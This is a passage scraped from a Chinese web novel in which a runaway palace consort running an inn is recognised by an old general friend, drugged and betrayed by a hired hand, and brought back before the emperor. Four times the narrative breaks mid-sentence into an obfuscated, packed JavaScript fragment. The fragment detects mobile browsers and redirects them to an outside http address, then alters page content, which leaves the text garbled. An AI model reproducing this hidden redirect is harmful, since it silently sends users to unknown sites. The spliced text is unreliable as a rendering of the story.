“你是最后一个穿的，帽子一戴，其他姑娘眼神都变了。那个词怎么说——对，器宇轩昂。” 项志手在半空中比划半天：“确实是看一眼就忘不掉，可惜我画画不行，要是真能把我印象中的原模原样画下来，你一看就知道了，跟你现在这样子差不离，除了少了几道疤。” 他指着她脸上的疤，似乎又觉得失礼，手缩回去，变成努嘴：“真叫人砍了？” 他长得五大三粗，在边关风吹日晒几年，脸上纹路更深了，做出努嘴的动作时，模样尤为滑稽。宁絮一下没绷住，笑意一闪而逝，然而毕竟是笑了，开了这个头，就难再严肃回去。 “怎么可能，砍脸上砍这么狠，早没命了。我自己画的。” “我就说嘛，谁有这本事砍你。论蛮力你可能差点，撒丫子的速度是天下第一。”他对着刀疤啧啧赞叹，“画得不错，手艺越来越厉害了，我都差点被骗过去。” 诗诗泡的茶还剩个底，他见宁絮不喝了，就全倒自己杯里，不浪费一滴。 “跟小石头决裂啦？好像还是单方面决裂，我看他满大街贴你的画像，想你想得穿肠肚烂——” 宁絮额角一跳一跳的：“肝肠寸断。” “对，肝肠寸断，哎呀都是肚子里的东西，断哪烂哪都一样。”他上半身支起来，凑得离她近些，“怎么回事儿？突然就不要他了？” 宁絮手指摩挲着杯身，淡然道：“过不下去了呗，寻常夫妻也难免矛盾，矛盾大了就是和离。我这和离不了，只能自己走了。走得时间长了，跟和离也没差。” 没等他刨根究底，她反问道：“俘虏跑了，怎么也没见你们知会鹤城的官府，叫他们帮着通缉？还得你们一个地方一个地方的搜。” “还不就是因为这个画像。”项志叹了口气，“离鹤城还有十几里地，那么偏的地方，我都看到画像了，明摆着很迫切要找到这么个人，哪还有我贴通缉令的份？” 他喝完最后一口茶，抹了嘴，神色有点羞赧：“再说这也是我没管好人，捅出去了，我脸上挂不住。” 诗诗泡的是茶，他却像喝了酒，话多得不行，说他在边境怎么跟乌弥人斗智斗勇。他们被人算计又算计回去，沙漠是乌弥人的地盘，他们人多了一倍依旧打得吃力，最后多亏一场沙暴站在了他们这边，才堪堪险胜。 项志讲得眉飞色舞，说起自己打的决胜那一仗，安排了一个绝妙的阵型，只可惜没有发挥出最好的效果，不然还能再减少一些伤亡。 “要是你们在就好了，你们够灵巧，够谨慎，而且身量小，走这个阵型优势更大。那帮糙汉子还是莽了点。”说起此事，他语气不免遗憾。 “可惜我们没这资格呀。”宁絮笑道。 二楼有客人咳嗽，要水喝，她送水上楼，安顿好客人，才折返回一楼的桌前。三更已过，就算喝了茶，也难免精力不支，项志靠在椅子上，眼睛半眯起来。 见她回来，他又坐直了，钉皮靴的尖头在桌下轻轻啄她布鞋：“哎，你还没告诉我呢，小石头到底怎么你了，这回发这么大火？什么矛盾啊？” 宁絮也开始打哈欠，没那么好的耐心再去找其他话题，又不能把心里话真的说给他听，便诌了个寻常的借口。 “宫里随便哪个女人都能骑在我头上拉屎了，这日子还过个什么劲？每天互相挤兑，为了芝麻大点事勾心斗角，斗个没完，还总是输，我在明月楼也不是这样的。” “就是觉得没意思。人活一世，还是应该干点有意思的事情。” 项志问这些，除了好奇心作祟，大抵还有一种莫名的责任感，他们算是一起长大的，他没准还存了想劝和的心思。 横竖她被他揭穿了身份，底 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15326051|167622||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 牌已经没有了，自然是任他处置。 他能说出石虔百八十个优点也好，劝她学会知足也罢，她听着就是，人都捏在他手里了，第二天可能就要被送回京城，这点废话真不算什么。 她心中有一种近乎诡异的宁静。 项志默然，他一想事情，手上就要转东西，把茶盏掉了个个儿。 “我发战报回去，他会回信，前不久看到他写的，说已经封后。邓家那位姑娘给他生了第一个儿子。” “宁絮，你和他……可有孩子？” “项将军，你这问题问得有些荒谬了。”宁絮嘴角一弯，“我还是不生孩子为好。” 他抿了抿嘴巴，神色忽而郑重：“要有孩子的，没孩子怎么说得过去。” “我一直觉得，邓皇后的那个儿子，应该是你的才对。他的第一个儿子，应该为你所出，你应该是他的皇后。” “这种事哪有什么应该不应该，谁怀了就是谁的。”宁絮被他一番话弄得啼笑皆非。 “不！”他蓦地激动，嗓门一下拔高，又压了下去，“我是说，你应该当皇后，你的孩子是名正言顺的太子。如果你都当不上这个皇后，其他女人更没资格当。她们付出了什么，就来摘果子？” 宁絮瞠目结舌，直想把帕子塞他嘴里：“我的大将军，你这话让人听了，传出去了，想过后果没有？你还真拿他当小石头？” 项志哑口无言，过了一会儿有点不甘地说：“为什么不能？只要不在朝堂，不在后宫，喊他一声小石头又怎样？不能因为坐上那个位子，私底下就连兄弟都做不成啊。” 宁絮的冷笑已经到了嘴边，转了一圈，又咽回肚里。 他和石虔卖艺的时候，石虔诨名小石头，他就叫傻大个。人如其名，这么多年了也没变，天真到可笑的地步。 也难怪石虔对他不加保留，全然信任，没有丝毫要防着他的意思。某种意义上，还真是拿他当兄弟，甚至比亲兄弟还要好。 亲兄弟尚且反目，打得血流成河，对他则是真大方，权力地位一样不少，说给就给了。 她在他面前，天然矮上一头——更确切些，是云端到泥地的差距，这差距远比她和邓筠之间的差距大多了。她笑他天真，其实他才更该笑她不配，笑她痴心妄想。 项志还在絮叨：“再怎么说，他是有些辜负你了，这次我回京，要与他说道说道。你是跟他一起苦过来的，亏了谁也不能亏了你，更不能由着其他妃子欺负你。” 宁絮打断他：“项将军，天快要亮了。你要揭发我，要带我回京，动作麻利些，我们叙旧叙够了。放心，我不会怪你，一万五千两赏金呢，不要白不要，你说是不是这个理？” “就是麻烦项将军，看在昔日情谊的份上，与鹤城的官府去说个情，往后多帮衬诗诗。让她即便不嫁人，自己打理客栈，也能舒舒服服活下去。” 项志愕然，本来上下眼皮子快要黏在一起了，眼睛突然瞪得滚圆：“我几时说了要揭发你？” 23. 失踪 他太理直气壮了，反倒把宁絮弄懵了：“什么意思？你不准备把我扭送回去？” “强扭的瓜不甜，你自己都说了在宫里没意思，那我何必硬要带你回去？多伤感情。” “一万五千的赏金的确不是小数目，但还不值得让我卖了你。石虔不是要找跟你长得像的女人吗，就让他找去吧，轮不到我来插手这件事。” 他抹了把脸，站起来：“你安心在鹤城呆着吧，就冲你这个疤，除非与你很是相熟，不然一定认不出来的。我该赶路了，将来若是还有机会路过这儿，还来找你叙话。” 送项志出门时，天空已经不是二更时的墨蓝色，再过大概半个时辰，就要转白，日头要升起来了。有几个小兵在街口候着他，宁絮没有送他到他们面前，还差几步路的时候停下了。 “这回仓促了，你要是还来，我们请你喝酒，再摆上烧鸡和卤牛肉。”她粗着嗓子与他称兄道弟，拍了拍他肩膀，目送他带着小兵离开。 等他们拐了弯，看不见人了，她回到客栈，去后厨旁边的小隔间摇醒了伙计，喊他把桌面收拾了，再扫扫地。 然后把诗诗和秋霞叫下来，开始操持后厨的活计，要烧热水，准备馍馍，熬制肉酱，稍晚还要出去采购今日的菜蔬。 一忙就是一整天，连轴转，到了晚上宁絮有点撑不住，哈欠一个接一个。秋霞催她去睡，眼下吃饭的人不多，客房也差不多要住满了，两个人足以应付。 她进了阁楼，秋霞和诗诗收了最后一位食客的账，才有空说上几句话。她们早上问了宁絮，昨晚项志可是察觉了端倪，宁絮只道没有。 “你想是真没有吗？我心里头总是不安。” 秋霞昨夜未能见过项志本人，仅凭当年的印象，实难判断。她抓着诗诗问了几次，但诗诗也答不上来。 她倒是耳朵贴门板差不多贴了一夜，但他俩声音放得很低，再怎样屏息凝神，也未曾听到只言片语。 “项志我不好说，他眼睛挺毒的……”他看宁絮的那几眼，梅诗诗总想起麻雀开餐前的样子。以前看人抓几条活的虫子丢进笼子，麻雀下嘴去啄那些虫子之前，就喜欢打量一番。 不知道是在思考从哪开始啄比较方便，还是想施加威压吓唬虫子。麻雀的脑袋她琢磨不透，项志有什么念头，她更揣测不出。 但项志毕竟已经走了，没为难她们，而且还留了金锭。作为旧友，他可谓仁至义尽，挑不出毛病了。 梅诗诗到了还是愿意信他。他面相一直显凶，再被光一衬，活脱脱成了罗刹恶鬼，人见人怕，难免引人偏见。他们相处一场，总不能这样以貌取人。 “不管有没有吧，横竖他没往外透漏风声，我们到现在都好端端坐在这里。” 真把宁絮捅出去了，她俩也难有善果。石虔要查，一定能查出宁絮是如何逃出来的，有谁在接应，这罪名往大了说够杀头的了。 秋霞吃了这颗定心丸，手覆在梅诗诗手背上，手心凉而湿润，全是冷汗，想来这一天心里没少受煎熬。 闭店后，诗诗喊伙计把桌子侧边也抹一抹，那里有缝隙，时间久了藏污纳垢，还招蚊虫。伙计手上擦着，嘴上也不闲着：“梅姐，昨晚那些人都什么来头哇？” 这小伙计姓李，家中排行老二，被人叫作李二郎。今年才满十七，做事毛手毛脚，人也不灵光，但是便宜好使唤，力气也大，有其可取之处。当时尽管对他没那么满意，权衡再三，还是雇了他。 梅诗诗一贯温和，没对他红过脸，听他这一问，大发雷霆：“你昨晚偷听了？！” 他被吓得缩了缩脖子：“那么多人在呢，有几个嗓门还怪大，我想听不到也不成啊……有个人说什么将军，咱们店里还来将军了？” 他睡的那个隔间离一楼饭桌还有些距离，又有门板隔着。一堆人闹哄哄的时候能听见不稀奇，宁絮和项志两人交谈，大概是听不清楚的。 梅诗诗在心里估量了几种可能，决定套一套他的话：“哪门子的将军啊，他底下人喜欢吹牛罢了。他跟咱们掌柜的是旧识，一时兴起，就聊得久了些。吵着你了？” “没有，就是我当时也拿不准，到底要不要出门伺候，感觉是挺重要的人，可掌柜的又叮嘱过我，若是来了官家的人，我就不必露脸了。我知道我脑子笨，容易惹祸，但活计太轻松，每月的工钱拿得我心里有愧……” 梅诗诗耐着性子听他说完，撇开他的废话，只问一件事：“那你有出去吗？” 李二郎乖顺地摇头：“我听话的，我不出去，后面好像走了很多人，然后就没声了……” 她悬吊的心暂且放下，脸色回暖：“这事你做得对。包括你听到的那一声将军，烂在肚里就好，千万别再跟任何人说，哪怕只是一句玩笑，也容易被有心人做文章。” 恐吓了李二郎几句，让他不敢再探究此事，她便放过他。这小子心思单纯，胆子也小，只要他脑子里没把事情串起来，搞不清来龙去脉，她就不担心从他这儿泄露什么出去。 李二郎要缩回隔间去，她又叫住他：“你娘身子可好些了？” 他爹去得早，娘长期害病，大哥是个不孝子，也就靠他做伙计挣几个钱，每月带回去给娘抓药。 她们知道他家中境况，除了工钱，时不时会额外补贴他一点，上次还帮着找了大夫去他家里。这是早年落下的顽疾，吃了药就有起色，断了药就一蹶不振。 李二郎前些天回了一趟家，情况谈不上好。诗诗看他表情就明白，安慰道：“明日你不是和掌柜的去购置布草么，路上经过医馆，她会带你去问一声，看能不能换一副药。” “药材昂贵些也不打紧，我们包了。” 李二郎吸吸鼻子，眼神有些闪躲，谢过了她，便钻回隔间睡下。 翌日，宁絮早早起身，外面天还是黑的，她对着镜子画好了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15326052|167622||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 疤，下楼叩响李二郎的门。他整装待发，正等着她。 他们一人一块干馍馍，边吃边走，大概要晌午才能到。虽然兜里有几两碎银，但马车不是他们这等平民有资格坐的，去哪都得靠两条腿。 李二郎个高腿长力气大，走着走着，宁絮就落后他半个身位，哪怕什么东西都背在他身上，她两手空空只有荷包。 “等我一下……你今天走这么快做什么？”宁絮小跑两步赶上他，伸手搭他肩膀，“我都跟徐大夫说好了，下午去见他，你不要太心急了，总有法子治好的。” 李二郎揣着手，眼睛盯着脚面：“我怕呀，若是一直治不好呢？一直要吃药，几时是个尽头？上哪儿去弄来这么多钱，源源不断的钱，给我娘吃药？” “我们看不到那么远的事，至少眼下还能维持住，别给自己泄气——” 宁絮安慰的话没说完，他忽然道：“掌柜的，我很感激你们对我的帮助，此番大恩大德，我来世做牛做马报答。” 她未曾领会到话中含义，便被迎面糊了一块帕子。帕子上不知撒了什么东西，味道很冲，吸一口气就浑身发软，不多时她便堕入黑暗，再无意识。 秋霞和梅诗诗在客栈等了一天，及至闭店还不见他俩回来，心里开始犯嘀咕。按往常，他们下午就该到了，即便去医馆耽误了些许时间，也绝不至于拖得这么迟。 二人夜里没睡死，支着一只耳朵随时听着楼下动静，但始终没等来叩门声。第二天她们觉得不妙，权衡再三，诗诗留下看店，秋霞去官府走了一趟。 她们终究不好报官，此行只想打探情况，问问诸位老爷昨日可有见过归园客栈梅掌柜，跟一个高个儿伙计，往城西头去了。 宁絮常与官府走动，也认得几个人，秋霞希望看在这层关系的份上，他们能松口，找几个人去帮着征集线索。不指望能张贴寻人画像，派出几位巡防问问沿路的店家就好。 她是个懂事的，辛苦费都备好了，然而在场的几位看着她，脸上都挂着暧昧的笑，对她塞过来的东西坚决不收。 “你是她枕边人，难道还不知道她实际什么样么？”巡检目光如蛞蝓般黏在她身上缓缓蠕动，忽略掉她带疤的脸，她身段还是可圈可点的，“也对，这不能叫你知道了。” “可不嘛，装男子装到这地步，也是一绝！秋……你是叫秋霞吧，她要是不碰你呢，你也别难过，不是因为你这张脸，实在是她自己有隐情啊，哈哈哈哈！” 秋霞被他们盯得直犯恶心，心中不好的预感愈发强烈。她激出几朵泪花，声音又软又颤，尽量让自己看起来楚楚可怜。 “求求你们了，我要找到她人，她不在了我们客栈谁管——” 巡检摸摸胡子，深表遗憾：“不如你改嫁吧，人你是找不回来了，我们受人之托，要管住嘴，不过倒是给你透漏一件事。” “你家那位，被接到京城享福去喽！” 24. 赝品 宁絮是在马车上被颠醒的，刚恢复意识，就感到手臂酸麻无比。 她双手反剪身后，两个腕子被粗麻绳捆死了，背不能直接靠在座椅上，走到碎石稍微多一些的路段，不免东倒西歪。 她左右各坐了一位官差，目不斜视，看她要滚落下去了，才出手拉一把，等她身形稳固，就绝不多碰她一下。 怕她双手被绑久了出毛病，每隔一段时间，他们也会给她松绑，让她活动手腕。但每次解绑前，都要往她嘴里喂一小碗药，喝完浑身无力，根本别想作任何反抗。 真是严防死守到了极致。 这些官差嘴也严，她所有问题问了个遍，好话说尽，也得不到半句回答。 万不得已，她开始闹绝食，饭食送到嘴边，她一昂脑袋就给顶翻。这招倒是有点用处，他们不敢强灌，怕把她呛死了。 耗了三日，她饿得面有菜色，支不起身子。看守她的人终于服软：“我们是不明白了，陛下名声那样好，从不苛待任何人，进了宫荣宠加身，多少人求也求不来，你在犟什么呢？” “我要回鹤城，那两个姑娘没了我，恐怕难以支撑客栈，总有心怀不轨的男人上门找麻烦。” “可你自己不也是个姑娘？刀疤卸了，还顶漂亮哩，我们找了那么多个姑娘，只有你跟那画像上的十成十像，这回陛下应当满意了。” 宁絮还要说什么，有个小个子官差眼疾手快，往她嘴里塞了一勺稠粥，又捏住她嘴巴不准她吐。 “想开点吧，那两个姑娘倒也不用你操心，会有人帮忙照看。” 宁絮想说话，就不得不把这口粥咽下去。他口中的照看，她不确定是不是收作小妾的那种照看。想问，但这群人估计知道的不多。 就算问出来，她都自身难保了，短时间内也帮不上她们。 她有点颓丧，鹌鹑似的缩起来：“究竟是谁把我捅出去的？是那个李二郎吗？” “我们是负责护送你的，可不清楚这些事。你觉得是那便是了。好了，再吃一口，我看你也不是那种不通情理的人，饿得面黄肌瘦，到了京城陛下以为我们亏待你。” 她反复回忆李二郎当时的举动，若真的有什么人报了官，那也只能是他了。 但他是如何知道的？她从没让他上过阁楼，也没在他面前卸下过伪装。 那晚她固然和项志聊了许久，可二人都把声音压得极低，只有彼此能听得分明。李二郎耳力再好，也不可能躲在隔间梳理清楚状况。 当初雇他之前，她亲自去隔间试过了。 是哪个环节出了岔子？ 那几日的点点滴滴，在她脑中回溯了若干遍，因为没有事做，押她的官差也不爱跟她说话，她只能不断去想这些事。 想到最后也得不出确切的答案，随着日渐接近京城，她开始操心另一件迫在眉睫的事。 见了石虔，该如何是好？ 官差三班倒，想从他们眼皮底下逃脱，除非她能隐身。 这支队伍快马加鞭，能不停歇就不停歇，急等着把这件从民间寻得的珍宝送到陛下面前。陛下对她满意了，点头了，他们才能消停，还能分得一些微不足道的奖励。 进京当日，宁絮三更天就被架起来梳妆打扮。他们甚至找来了画像上的那套衣裳，尽管未能完全还原，可也有八分像。 再对照画像上的长发形态，给她梳了个一模一样的头，之后便要着手涂抹唇脂，描眉搽粉。 妆娘对着她的脸蛋啧啧赞叹：“就是不施粉黛，也够拿得出手了。哎，你自己觉得这妆是浓一些好，还是淡一些好？” 宁絮眼前放着一面铜镜，擦得锃亮，映照出宁三娘的面容。 她对这个昔日的花名并无好感，厌倦地别过头：“你自己决定吧，你才是负责上妆的。” “我这不是看你长得像嘛，太像了，说真的，你和这画像上的人究竟是什么关系？一母同胞的亲姊妹也不会相像到如此地步。” 这妆娘是个活泼的性子，对着官差压抑了本性，看宁絮同为女子，就按捺不住了，什么异想天开的东西都往外说。 “你该不会就是画像本尊吧？” 宁絮睫毛一抖，随后波澜不惊道：“你问我，我问谁去。陛下这般兴师动众，听说找了好多人，一个也没瞧上，这女子想来已经不在了。” “你上妆上得淡一些吧，我眉眼生得凌厉，再涂个浓眉，男子气概上来了，怕熏着陛下。” 妆娘噗嗤一乐，就按她说的来了，眉形略作修饰，再细细地涂过去。 宁絮闭上眼，昏昏欲睡，三魂七魄似散未散之际，想起她和石虔刚认识不久那会儿。 石虔跑江湖的，嘴甜，要把话说到人心坎里，哄得人高兴了，方可讨得打赏。有一次，他说她眉毛好浓好粗，不似女子。 她干的也是看人脸色的行当，对好赖话尤为敏感。石虔此言乍听冒犯，语气却不带贬低之意，甚至隐隐有些艳羡。 她这才开始端详石虔的容貌。平心而论，他长得不差，骨架比不得项志那般生猛，却也颀长舒展，身量称得上高挑。配上柳叶眉桃花眼，有种风流意味，只可惜装束粗陋，脸上也经常脏兮兮的，旁人时常忽略了他这副好相貌。 “你的眉毛纤长秀美，也不似寻常的粗野莽汉，蹙起来的时候可人疼呢。”她笑着赞扬他。 没成想马屁拍在马腿上，他听完立刻不乐意了：“好哇，你说我像女人！” 不过是换一种方式把他的赞扬还给他，宁絮对天发誓她是真心诚意在夸他，绝没有取笑他的意思，也不知道他怎么把这话理解歪了。 她半个字也没说他像女人呀！ 何况她就是说了又怎样，本意是赞他美貌，他连这都听不明白？ 他倒也没真的跟她闹，随便聊了两句别的带过去了。很小的一件事，小到没有任何值得记忆的地方，她以为自己早就忘了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15326053|167622||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 今时今日再把这桩往事打捞起来，审视一番，她就发现自己错得离谱。 说女子像男子，可看作嘲笑，亦可看作褒扬。说男子像女子，哪怕只是沾点边，没有直说，人家也会默认这话带着轻贱之意。 她印象里，石虔此后再没说过她眉毛，只夸她的眼睛。什么翦水秋瞳含情脉脉，类似的词她听过一打有余。 妆娘的声音在耳边响起：“喏，画好了，你看满意不？” 宁絮瞅一眼铜镜，眉毛被画得略弯，眉尾修得更细，只要她不刻意拧起眉头，或者故意瞪人，就担得起一句柔美婉约。 她现在又是明月楼宁三娘了，比画像还要美上三分，坐在那里就熠熠生辉，守在门口的官差忍不住要拿余光往这边瞥。 妆娘显然对自己的手艺很满意，还非得要她也点头：“你说嘛，好不好看？” “横竖不是我付钱请你来的，你问我没用呀，我说了不算。”宁絮把铜镜翻向另一边，实在不愿多看。 妆娘最后再给她整理一下发尾，笑道：“可别妄自菲薄，陛下不可能瞧不上你。依我看，画像可以撤了，陛下看过了你，眼里就容不下其他人。我见过的美人多了，眼睛毒，你信我。” “陛下当然瞧不上我，永远瞧不上我。不过这跟你做的妆容没关系。”她拍了拍妆娘的手背，“心灵手巧，画得很漂亮，可惜我穷光蛋一个，祝你下次碰到千金大小姐，画好了能拿到额外的赏钱。” 一切就绪，宁絮让官差引领着上了马车。车轮碾过地面，发出喀啷声，搅得她心乱如麻。 她已经是个死人了，此番入宫，与死而复生无异。两年未见，也不知宫内是怎样的光景。 石虔成为七皇子以后，一贯冷静，能做出耗费举国上下之力寻找美人这种荒唐事，想来状态堪忧。 她琢磨不出要以什么样的姿态面对他，甚至猜不出，他到底会把她当什么人？是一个九成相似的赝品，还是还了魂的本尊？ 宁絮祈祷他不清醒，认成赝品了事。要是追究起她是如何从畅春园脱身的，难免牵扯到一些无辜的宫人。 放在从前，她相信石虔不会随便冤枉人，也不会乱施刑罚，现在就不好说了。 马车忽然停下，前方传来一阵喧闹。宁絮想撩帘子看一眼，被边上的侍女制止了。 最后这几天，她胳膊上没绑东西，免得留下印子不好看，但他们对她的看管是一点没放松。 进了京城，她插翅难飞了，还是要锢着她，直到把她完好无损送到陛下面前，他们高悬的心才能轻轻放下。 都是伏低做小的，宁絮能理解他们的不易，两只手乖乖搁在膝头，不再做其他小动作。 这一去，就不知道要在宫里呆多久了，想再见秋霞和诗诗一面，怕是难了。 她昂起头，逼退眼中的湿意。她还不老，还有的是时间审时度势，再逃跑一次也未尝不可，不能哭早了。 25. 大殿相见 马车一直未曾前行，外头的嘈杂声也越来越大，宁絮耳朵尖，捕捉到一个有些熟悉的男声。 “谁叫你们半途插过来的，挡着补给车的道了，车里坐着多金贵的娘娘还是怎的？我还就不信了，你们有什么可急——” 帘子猝不及防叫人从外边撩开，宁絮正对上项志怒气冲冲的脸。 二人俱是愣怔，项志尤甚，眼眶几乎兜不住眼珠。 护送宁絮的官差在旁边叫苦不迭：“项将军，您这下看见了？我们真没骗您，这个美人相当重要，晚半日送到陛下跟前，都是我们怠慢，要问责的。” 项志嗫嚅了一下，又看了宁絮一眼，突然用唇语快速说道：等我救你。 落在不懂行的人眼里，恐怕以为他在骂娘。几个官差都战战兢兢站在边上听候发落，大将军和陛下，他们一个也惹不起。 但他就这么把帘子放下了，也放过了他们，默不作声给他们让了一条道。 须臾，宁絮又听到马车车轮发出的喀啷声，京城的路面平缓许多，不再颠得她太阳穴发胀。 项志要救她，怎么救？ 她马上就入宫了，他一个大男人，与石虔交情再深，也去不得后宫，又戍边多年，也没有姊妹亲戚，不可能在后宫安插人手。 而且，她有几斤几两，值得项志一个大将军去救？ 怎么说石虔都是他恩人，即便他与她有少时情谊，这份情谊也是他和石虔之间的更重。为了她，叫他去违逆石虔的心意，她自认没有这样的魅力。 她几乎要以为自己看错了，可是以她对口型的敏锐，她是不会错的。 马车从南门进去，宁絮被人扶下来，换了小轿，抬向太和殿。 她无意识地攥着衣裳，下摆被抓得皱成一团，沾满她手心里的冷汗。 轿夫每往前一步，就像往她身上多撒了一层土。泥土没到胸前，憋得她喘不过气。 她这会儿有点怨恨项志了，没影的事情，做这种承诺干什么。还不如什么希望都不要给她，让她受罪也能受得痛快些。 轿子停在太和殿前，宁絮双脚甫一沾地，视线便越过一众侍卫、太监和宫女，瞥见坐在龙椅上那人。 因离得远，他与一抹剪影无异。然而只消一眼，还没能看清任何东西，宁絮就发觉了他与往日的不同。 那个身影伶仃得不像话，掩映在纱帘之后，有如幽幽鬼影。 她再怎样怨恨他，也得承认他是个美男子，丰神俊朗，风度翩翩。两年多未见，有什么东西把他蛀空了，皮囊挂在骨头上，这儿凸起一头，那儿凹陷一块。 有个宫女在身后不轻不重推了她一把，她醒悟过来，深吸一口气，朝着那道鬼影走去。 大约走到离他还有五步远的地方，她跪下叩首：“民女郑氏，参见陛下，参见皇后娘娘。” 入宫面圣，少不了自报家门。无论石虔认出她与否，她都不愿主动报出本名。之前化名梅秀文，可若说自己是梅氏，又怕他发起疯来，追究这个姓名的来源，再把诗诗和秋霞挖出来。 索性借梅诗诗那个短命丈夫的姓氏一用。 石虔还是老样子，时而清醒时而昏聩，底下的人说今日会送来一个与画像上别无二致的美人，他也兴趣缺缺。 民间的姑娘送了好几批来，全是精挑细选的，他打眼一看，就觉得比不上宁絮一根小指头。 连邓筠那般善妒的女人，到后来也向着她们说话，说这个挺像的，那个神形兼备，陛下不如收了她们得了。 他不。他将她们全部打发回去，转身又把自己关进御书房，继续描摹宁絮的脸。 画像雪片似的到处飞，御书房是他的坟冢，宁絮是撒在他身上的细雪，埋得不够厚不够深，因而他不得安宁。 今天这位，底下的官差把她夸得天上有地下无，叫陛下务必见上一面。 他昨夜作画，睡得晚了，身上正乏。但既然他们那样说了，寻人原本又是他自己拿的主意，如今亲自上阵验收成果，也是应当应分。 邓筠站在他身边，一旦他反应迟缓，她便开口推进：“平身，抬起头来，再上前几步，好让陛下看得仔细些。” 那民女听话照做，跪着挪到他们脚下，缓缓扬起脸。 邓筠忽然浑身发颤，不自觉朝后退了两步，去攥石虔的胳膊：“陛下……” 昔日她与宁絮的关系谈不上和睦，对这个来路不正但又有些手腕的女人，她既瞧不上又有危机感，宁絮要是有一天不在了，她自会拍手称快。 宁絮的面貌也在她一次又一次咬牙切齿之后，变得愈加清晰。清晰到她能认得出谁是赝品谁是正品。 明明早就死透了，早该往生的人，突然回来了，身子匍匐在脚下，脖子和脸却昂着，直勾勾地盯着她。她心下惶恐，避之如蛇蝎，生怕摸到这人的手，发现是冰凉的，再扒下那身衣裳，发现里面包的是一具骸骨。 那么多人亲眼看着她落水，湖水也是在众目睽睽之下抽干的，她怎么可能还活着？ 邓筠的手快要掐进石虔的皮肤里，换作平日，石虔早把她甩开了。眼下他却像没了知觉似的，由着她掐，毕生的意志都凝聚在眼睛里，眼神落在这民女的脸上就再未移开。 这位郑氏女倒也懂事，一动不动，让他看个够。 石虔两瓣嘴唇微微哆嗦，端详她良久，伸手捏住她肩膀，将她整个人扯到怀里。瘦如枯枝的手力气大得恐怖，民女吃痛，发出微不可闻的抽气声。 邓筠只见他掐着民女的下巴，再发发狠，说不定就能将她下颚整个撕扯下来，他声音掺着碎冰：“再说一遍，你姓什么？叫什么？” 民女艰难地动了动舌头，发音支离破碎：“禀陛下，民女郑氏……没有名字。” 石虔怒极反笑，拍了拍她的脸：“好啊，好个郑氏……” “皇后，你安排她住进翠微阁，朕今晚还要见一位贵客，她的位分日后再议。” 石虔对邓筠吩咐完，把郑氏女的衣裳整理好，还亲昵地替她拢了拢头发，方才他动作太大，她全身行头都弄乱了。 打理完毕，他冲她笑道：“账也日后再算。” 宁絮再次站在翠微阁门前，心情前所未有的宁静。她和石虔在一块儿呆了这么些年，彼此都有着老夫老妻之间特有的直觉，不需要他放狠话，早在四目相交的那一刻，她就知道他认出自己了。 接下来怕是不好过，这笔账他准备怎么算，还未可知。但她能确定，他不会赐她鸠酒或者白绫，留她一口气在，他才有办法出气。 留她一口气，她就有机会。死过一次才知道这一口气多么宝贵，只要一息尚存，很多事情就有回转的余地。 邓筠在她身畔，拿余光偷偷观察她的表情，见她抿起嘴巴，若有所思，便试探着与她搭话：“翠微阁是陛下专门留给画像上那位女子的，自她离开后，里面的物件就没动过，每天都派人打扫。” “美人一批 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15330812|167622||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 接着一批，你是唯一一个得了陛下青眼，还住进这里的。” “此乃民女的荣幸。”宁絮应道。 邓筠又期期艾艾地问她：“妹妹如何称呼？有没有小名？” 宁絮从中听出讨好的意味。身为一个诞下太子、母族强势的皇后，她不必讨好任何后妃，只有人家讨好她的份，再受宠的妃子也概莫能外。 这讨好背后带着惊惧，至于她到底在害怕什么…… 宁絮抓起她的手，与她十指相扣。她掌中传来温热的触感，不似想象中那般凉冰冰黏腻腻。 “您爱怎么称呼都成，把我当作翠微阁原来住着的那人，也成。”宁絮对她真诚地笑，露出一排齐齐整整的牙齿，“皇后娘娘，我是活人，不是从画像里跑出来的。” 更不是全身沾满水草的水鬼。她默默腹诽。 邓筠升作皇后了，还是有点傻兮兮的，心里想的什么，都写在脸上。偏偏她还老以为自己心思细腻，稳重深沉，宁絮看她这个故作镇定的模样，免不了发笑。 